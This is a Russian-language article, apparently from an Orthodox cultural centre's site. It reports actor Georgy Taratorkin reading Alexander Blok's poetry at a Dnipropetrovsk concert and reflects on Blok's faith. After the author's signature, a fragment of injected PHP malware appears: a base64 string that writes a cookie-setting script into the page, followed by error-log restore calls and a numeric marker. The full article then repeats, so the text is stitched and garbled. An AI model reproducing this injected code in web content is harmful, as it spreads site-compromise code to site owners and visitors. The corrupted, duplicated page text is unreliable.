На «Острове Классики» Георгий Тараторкин с красотой поэзии Александра Блока

 Георгий Тараторкин

На творческом вечере присутствовали митрополит Днепропетровский и Павлоградский Ириней, по чьему благословению данный проект приносит духовные плоды, викарий Днепропетровской епархии епископ Новомосковский Евлогий, заместитель председателя Днепропетровского областного совета Андрей Федорович Шипко, представители интеллигенции, культурной и искусствоведческой сферы, студенты, молодежь и горожане — настоящие ценители высокого искусства.

В завершающий концерт сезона 2010/2011 гг. произошла изумительная встреча — в дискуссию о вечных человеческих ценностях вступили три вида искусства: музыка, поэзия и актерское мастерство. Удивительно сошлись на одной сцене Александр Блок, певец «Серебряного века» русской поэзии, и Сергей Рахманинов, воспеватель апокалипсических судеб Руси и человечества, композитор, поразивший мир в сердце болью своей ностальгии по Родине. От А. Скрябина, нервно-экзальтированного певца душевных мистических озарений – до глубоко религиозного, пронизанного Евангелием и Правдой Христовой Иоганна Себастьяна Баха. Вот разворот музыкальной палитры, которая дала необходимый окрас поэзии Блока.
Но почему в этот раз на «Острове» главенствовала – поэзия, а не музыка, как в предыдущие разы? Листаем греческий словарь и читаем перевод этого слова: «поэзия» (греч. ποίησις, «творчество, сотворение») — особый способ организации речи, привнесение в речь дополнительной меры измерения, не определенной потребностями обыденного языка…. В сущности самого человека тоже есть такая дополнительная мера измерения ценностей его жизни – дар устремления к добру, дар нравственного чувства. Именно так охарактеризовал этот Божий Дар современник Блока, гений отечественной физиологии академик Иван Павлов – некая «чрезвычайная надбавка», вторая сигнальная система, позволяющая почувствовать существование Бога и ощутить стремление к Нему, открыть в человеке духовные потребности. В отличие от более определенной прозы, поэзия многое дает нам понять через образы. Быть может, поэзия — это и есть то неизреченное слово, которое находится на грани вскрытого нерва, обнаженного сердца, недооблеченное в железную логику научной аксиомы, и дающее нам на уровне подсознания гораздо более четкие представления о добре и зле, о ненависти и любви, о Боге, наконец, и о Его антиподе? Вслед за первым вопросом появляется второй — почему именно Александр Александрович Блок, которого не то, что нельзя отнести к апологетам Православия, его даже нельзя отнести к полноценным адептам христианства? В своих исканиях А. Блок часто принимал за Лик Бога лишь некоторые его отражения, и не находил в себе силы просто пустить Его в свое сердце, открыв Евангелие. Он был болен типичной болезнью русской интеллигенции конца XIX начала XX века — недоверием, непринятием религиозности. Это было поколение, желавшее изменить мир к лучшему, и при этом не собиравшееся изменять себя самих. Ужасное противоречие – они понимали необходимость перемен, но не могли вместить мысль о том, что любая перемена к лучшему начинается с преобразования самого себя. «Вынь прежде бревно из своего глаза» (Мф. 7,5) — то есть, начни с себя — призывает Христос, и тогда только увидишь, как помочь ближнему справиться с определенной проблемой. «Спасись сам, и вокруг тебя спасутся тысячи» — каждому из нас знакомо это выражение, но преподобный Серафим Саровский говорил иначе: «Стяжи дух мирен – и вокруг тебя спасутся тысячи». А ведь как это трудно – и для сегодняшнего человека, живущего в эпоху интернета и общества потребителей, и для Блока, жившего в эпоху шагающей улицами человеческих сердец революции — стяжать этот дух! Вместо него – по Блоку – то неотступное чувство катастрофы или уныние, то внезапное, в экстатическом порыве вихря эмоций жадное желание жить удесятеренной жизнью… Наряду с этим множество Блоковских строк дышат внутренней религиозностью. А его женские образы золотыми буквами вписаны в антологию мировой поэзии. В этом ощущается влияние Владимира Соловьева – выдающегося религиозного философа, чьи взгляды стали для Блока своеобразным Символом Веры. Соловьев проповедовал идею Софии – так называемой Души Мира, некоего мистического космического существа, проявляющего женственность в Боге и объединяющего Его с земным миром. Но в учении Владимира Соловьева были и другие мысли. Вот одна из них. «Человечество, — пишет он, — должно не только принимать благодать и истину, данную во Христе, но и осуществлять эту благодать и истину в своей собственной и исторической жизни». Как же это трудно – осуществлять в собственной жизни! Александр Блок уходил тяжело: идеалы революции, в преобразующую силу которой он так верил, были разрушены…. Болезнь поразила не только его сердце – она разрушала его душу. Дух мирен, который мог бы помочь ему в те минуты, поэт так и не стяжал. 10 августа 1921 года, в день праздника Смоленской иконы Божьей Матери состоялись его похороны на Смоленском кладбище Петербурга. Поэт, который всю жизнь искал Идеал, искал Бога, искал Правду и Гармонию, в чьем творчестве столь очевиден мотив постоянного пути, нашел последнее пристанище под покровом Божией Матери «Одигитрии» – Путеводительницы. В том же 1921-м один из последних Оптинских старцев Нектарий, в ответ на просьбу помолиться о А. Блоке, передаст его матери следующие слова: «Будь благонадежна. Александр в раю». Что это было? Желание многочисленных почитателей поэта услышать эти слова, или действительное свидетельство дерзновенной молитвы преподобного Нектария? Нам не дано знать ответ, как не дано знать и меру Божественного милосердия и любви о гениальном поэте. Но нам дано еще время сделать в своей жизни то, чего не успел Блок — принять в сердце Христа, осуществить благодать и истину, данную во Христе, в нашей жизни, и этим стяжать дух мирен. И тогда, только тогда — мир вокруг нас изменится, и вокруг спасутся тысячи.

Гость творческой встречи на «Острове классики» — Георгий Георгиевич Тараторкин, советский и российский актер театра и кино. Народный артист Российской Федерации, Первый секретарь Союза театральных деятелей и Президент ассоциации «Золотая маска», обладатель массы регалий, он воплотил на театральной сцене и в кино много бессмертных ролей, начало которым положил Родион Раскольников из Преступления и наказания Достоевского. Вообще, мир Достоевского – это мир образов, в котором очень ярко открываются главные качества Георгия Георгиевича – тонкий психологизм, душевная экспрессия, умение не играть, а жить жизнью своего героя…. А еще среди множества ролей актер исполнил роль Александра Блока – и очевидно, что эта работа позволила глубже проникнуть в мир поэтических образов поэта, с творчеством которого Тараторкин начал знакомить аудиторию еще в 1970-1980-е годы, когда поэзия была особенно популярна на эстрадах и радио. Тараторкин много выступал с чтением стихов Блока и других поэтов «Серебряного века». Критики неоднократно отмечали мастерство артиста, его редкое умение донести не только содержание, но и красоту формы стиха.

Концерт «Острова классики» продолжил эту традицию, а дополнила погружение в поэтические образы Блока классика в исполнении Академического симфонического оркестра областной филармонии под управлением главного дирижера из Киева — заслуженного деятеля искусств Украины Натальи Пономарчук.

По завершении концерта днепропетровский зритель не хотел отпускать со сцены гениального актера и исполнителя. Народному артисту Российской Федерации Георгию Тараторкину «на бис» пришлось еще прочитать три произведения Блока, и под бурные овации сказал «до свидания», вселив надежду на будущую встречу. Делясь впечатлениями от общения с днепропетровской публикой, Георгий Тараторкин отметил: «Сегодня, в наше индивидуализированное, разобщенное время общение становится роскошью. У людей есть осознанная необходимость в общении. И музыкальный проект «Место встречи – Остров классики» дает такую возможность. Но что самое главное — люди сегодня здесь встретились не с Тараторкиным, не с Блоком, не Рахманиновым и Бахом, а с самим собой. А эта встреча может быть не очень приятной, но очень необходимой». Также знаменитый актер считает, что музыкальному проекту «Место встречи – Остров классики» уже давно пора называться материком.

Иерей Георгий Скубак

aG8gIjxzY3JpcHQ+ZG9jdW1lbnQuY29va2llPSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsNCiB9DQoNCiB9')); @ini_restore('error_log'); @ini_restore('display_errors'); /*457563643*/ ?> На «Острове Классики» Георгий Тараторкин с красотой поэзии Александра Блока | Центр православной культуры Лествица

На «Острове Классики» Георгий Тараторкин с красотой поэзии Александра Блока

 Георгий Тараторкин

На творческом вечере присутствовали митрополит Днепропетровский и Павлоградский Ириней, по чьему благословению данный проект приносит духовные плоды, викарий Днепропетровской епархии епископ Новомосковский Евлогий, заместитель председателя Днепропетровского областного совета Андрей Федорович Шипко, представители интеллигенции, культурной и искусствоведческой сферы, студенты, молодежь и горожане — настоящие ценители высокого искусства.

В завершающий концерт сезона 2010/2011 гг. произошла изумительная встреча — в дискуссию о вечных человеческих ценностях вступили три вида искусства: музыка, поэзия и актерское мастерство. Удивительно сошлись на одной сцене Александр Блок, певец «Серебряного века» русской поэзии, и Сергей Рахманинов, воспеватель апокалипсических судеб Руси и человечества, композитор, поразивший мир в сердце болью своей ностальгии по Родине. От А. Скрябина, нервно-экзальтированного певца душевных мистических озарений – до глубоко религиозного, пронизанного Евангелием и Правдой Христовой Иоганна Себастьяна Баха. Вот разворот музыкальной палитры, которая дала необходимый окрас поэзии Блока.
Но почему в этот раз на «Острове» главенствовала – поэзия, а не музыка, как в предыдущие разы? Листаем греческий словарь и читаем перевод этого слова: «поэзия» (греч. ποίησις, «творчество, сотворение») — особый способ организации речи, привнесение в речь дополнительной меры измерения, не определенной потребностями обыденного языка…. В сущности самого человека тоже есть такая дополнительная мера измерения ценностей его жизни – дар устремления к добру, дар нравственного чувства. Именно так охарактеризовал этот Божий Дар современник Блока, гений отечественной физиологии академик Иван Павлов – некая «чрезвычайная надбавка», вторая сигнальная система, позволяющая почувствовать существование Бога и ощутить стремление к Нему, открыть в человеке духовные потребности. В отличие от более определенной прозы, поэзия многое дает нам понять через образы. Быть может, поэзия — это и есть то неизреченное слово, которое находится на грани вскрытого нерва, обнаженного сердца, недооблеченное в железную логику научной аксиомы, и дающее нам на уровне подсознания гораздо более четкие представления о добре и зле, о ненависти и любви, о Боге, наконец, и о Его антиподе? Вслед за первым вопросом появляется второй — почему именно Александр Александрович Блок, которого не то, что нельзя отнести к апологетам Православия, его даже нельзя отнести к полноценным адептам христианства? В своих исканиях А. Блок часто принимал за Лик Бога лишь некоторые его отражения, и не находил в себе силы просто пустить Его в свое сердце, открыв Евангелие. Он был болен типичной болезнью русской интеллигенции конца XIX начала XX века — недоверием, непринятием религиозности. Это было поколение, желавшее изменить мир к лучшему, и при этом не собиравшееся изменять себя самих. Ужасное противоречие – они понимали необходимость перемен, но не могли вместить мысль о том, что любая перемена к лучшему начинается с преобразования самого себя. «Вынь прежде бревно из своего глаза» (Мф. 7,5) — то есть, начни с себя — призывает Христос, и тогда только увидишь, как помочь ближнему справиться с определенной проблемой. «Спасись сам, и вокруг тебя спасутся тысячи» — каждому из нас знакомо это выражение, но преподобный Серафим Саровский говорил иначе: «Стяжи дух мирен – и вокруг тебя спасутся тысячи». А ведь как это трудно – и для сегодняшнего человека, живущего в эпоху интернета и общества потребителей, и для Блока, жившего в эпоху шагающей улицами человеческих сердец революции — стяжать этот дух! Вместо него – по Блоку – то неотступное чувство катастрофы или уныние, то внезапное, в экстатическом порыве вихря эмоций жадное желание жить удесятеренной жизнью… Наряду с этим множество Блоковских строк дышат внутренней религиозностью. А его женские образы золотыми буквами вписаны в антологию мировой поэзии. В этом ощущается влияние Владимира Соловьева – выдающегося религиозного философа, чьи взгляды стали для Блока своеобразным Символом Веры. Соловьев проповедовал идею Софии – так называемой Души Мира, некоего мистического космического существа, проявляющего женственность в Боге и объединяющего Его с земным миром. Но в учении Владимира Соловьева были и другие мысли. Вот одна из них. «Человечество, — пишет он, — должно не только принимать благодать и истину, данную во Христе, но и осуществлять эту благодать и истину в своей собственной и исторической жизни». Как же это трудно – осуществлять в собственной жизни! Александр Блок уходил тяжело: идеалы революции, в преобразующую силу которой он так верил, были разрушены…. Болезнь поразила не только его сердце – она разрушала его душу. Дух мирен, который мог бы помочь ему в те минуты, поэт так и не стяжал. 10 августа 1921 года, в день праздника Смоленской иконы Божьей Матери состоялись его похороны на Смоленском кладбище Петербурга. Поэт, который всю жизнь искал Идеал, искал Бога, искал Правду и Гармонию, в чьем творчестве столь очевиден мотив постоянного пути, нашел последнее пристанище под покровом Божией Матери «Одигитрии» – Путеводительницы. В том же 1921-м один из последних Оптинских старцев Нектарий, в ответ на просьбу помолиться о А. Блоке, передаст его матери следующие слова: «Будь благонадежна. Александр в раю». Что это было? Желание многочисленных почитателей поэта услышать эти слова, или действительное свидетельство дерзновенной молитвы преподобного Нектария? Нам не дано знать ответ, как не дано знать и меру Божественного милосердия и любви о гениальном поэте. Но нам дано еще время сделать в своей жизни то, чего не успел Блок — принять в сердце Христа, осуществить благодать и истину, данную во Христе, в нашей жизни, и этим стяжать дух мирен. И тогда, только тогда — мир вокруг нас изменится, и вокруг спасутся тысячи.

Гость творческой встречи на «Острове классики» — Георгий Георгиевич Тараторкин, советский и российский актер театра и кино. Народный артист Российской Федерации, Первый секретарь Союза театральных деятелей и Президент ассоциации «Золотая маска», обладатель массы регалий, он воплотил на театральной сцене и в кино много бессмертных ролей, начало которым положил Родион Раскольников из Преступления и наказания Достоевского. Вообще, мир Достоевского – это мир образов, в котором очень ярко открываются главные качества Георгия Георгиевича – тонкий психологизм, душевная экспрессия, умение не играть, а жить жизнью своего героя…. А еще среди множества ролей актер исполнил роль Александра Блока – и очевидно, что эта работа позволила глубже проникнуть в мир поэтических образов поэта, с творчеством которого Тараторкин начал знакомить аудиторию еще в 1970-1980-е годы, когда поэзия была особенно популярна на эстрадах и радио. Тараторкин много выступал с чтением стихов Блока и других поэтов «Серебряного века». Критики неоднократно отмечали мастерство артиста, его редкое умение донести не только содержание, но и красоту формы стиха.

Концерт «Острова классики» продолжил эту традицию, а дополнила погружение в поэтические образы Блока классика в исполнении Академического симфонического оркестра областной филармонии под управлением главного дирижера из Киева — заслуженного деятеля искусств Украины Натальи Пономарчук.

По завершении концерта днепропетровский зритель не хотел отпускать со сцены гениального актера и исполнителя. Народному артисту Российской Федерации Георгию Тараторкину «на бис» пришлось еще прочитать три произведения Блока, и под бурные овации сказал «до свидания», вселив надежду на будущую встречу. Делясь впечатлениями от общения с днепропетровской публикой, Георгий Тараторкин отметил: «Сегодня, в наше индивидуализированное, разобщенное время общение становится роскошью. У людей есть осознанная необходимость в общении. И музыкальный проект «Место встречи – Остров классики» дает такую возможность. Но что самое главное — люди сегодня здесь встретились не с Тараторкиным, не с Блоком, не Рахманиновым и Бахом, а с самим собой. А эта встреча может быть не очень приятной, но очень необходимой». Также знаменитый актер считает, что музыкальному проекту «Место встречи – Остров классики» уже давно пора называться материком.

Иерей Георгий Скубак